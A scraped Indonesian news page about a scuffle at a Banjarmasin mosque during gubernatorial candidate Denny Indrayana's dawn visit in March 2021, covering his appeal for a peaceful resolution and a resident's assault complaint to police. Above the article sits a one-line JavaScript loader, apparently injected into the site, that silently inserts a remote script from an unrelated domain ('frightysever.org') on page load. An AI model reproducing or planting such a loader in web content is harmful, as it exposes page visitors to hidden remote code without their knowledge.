(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Insiden keributan yang terjadi saat berlangsungnya acara subuh keliling cagub Denny Indrayana di Masjid Nurul Iman, Jalan Prona 1, Kelurahan Pemurus Baru, Kecamatan Banjarmasin Selatan, Kota Banjarmasin, Rabu (31/3/2021), disikapi paslon nomor 2. Haji Denny meminta agar masyarakat menunggu langkah yang dilakukan penegak hukum terkait fakta yang terjadi di kegiatan tersebut.
Selebihnya, mantan Wamenkum HAM era Presiden SBY ini berharap agar proses tersebut dapat diselesaikan secara damai oleh kedua belah pihak.
“Saya tentunya mendorong agar diselesaikan secara kekeluargaan, semua pihak harus mendorong agar Pilgup Kalsel ini tetap damai dan aman,” kata Haji denny, dalam keterangannya yang disampaikan pada Kanalkalimantan.com.
Ia mengatakan, seperti biasa mengawali giat harian sebagai paslon Cagub Kalsel dengan melakukan subuh keliling, menyapa warga, dan kemudian beramah-tamah tanpa melakukan dialog. Ini dilakukan agar kegiatan yang dilakukan tidak dikategorikan sebagai kampanye.
“Yang terjadi di masjid Nurul Iman, informasinya sejak dini hari sudah ada langkah-langkah yang mencoba mengkondisikan masjid tempat kami akan akan hadir, dengan berkumpulnya massa. Walaupun tidak banyak,” katanya.
“Pada saat kami akan datang dan akan meninggalkan masjid, dan kemudian terjadi apa yang diberitakan sebagai pemukulan. Faktanya kita tunggu proses yang dilakukan penegak hukum,” tambahnya.
Haji Denny mengatakan, Pilgub tidak untuk menghadirkan pemusuhan, tapi menghadirkan pemimpin yang amanah.
“Maka hindari gesekan yang bisa merugikan kita semua. Saya tetap melakukan silaturahmi dengan subuh keliling,” katanya.
Secara khusus, terkait insiden tersebut ia meminta masyarakat melihat dari tayangan video yang beredar.
“Bahwa memang faktanya ada yang mencoba membuka masker dan ada yang coba memukul dan menendang. Dilihat saja fakta yang terjadi,” pungkasnya.
Sebelumnya, Salmansyah alias Aman (63), warga yang sebelumnya terlibat keributan dengan tim hukum H2D, Jurkani, melapor kejadian tersebut ke Polresta Banjarmasin.
“Ya sudah saya lapor, dengan tuduhan penganiayaan,” kata Aman usai melapor ke Polresta Banjarmasin, Rabu (31/3/2021).
Terkait pelaporannya, Aman mengaku telah memberikan keterangan ke polisi terkait kejadian yang dialaminya.
“Ya saya sejak dibawa pagi tadi belum ada pulang masih, kurang lebih 6 jam lah di sini (Mapolresta),” ucapnya. (Kanalkalimantan.com/tius)
Reporter: tius
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU - Kasus Demam Berdarah Dengue (DBD) di Kota Banjarbaru dalam empat bulan terakhir… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah mahasiswa yang tergabung dalam Badan Eksekutif Mahasiswa (BEM) se Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Moment Hari Buruh 1 Mei 2024 dirayakan berbeda oleh kalangan buruh yang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar audiensi bersama Wali Kota Banjarbaru,… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi meninjau kondisi Jembatan Pulau Telo… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Demo mahasiswa yang tergabung dalam Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin dan… Read More
This website uses cookies.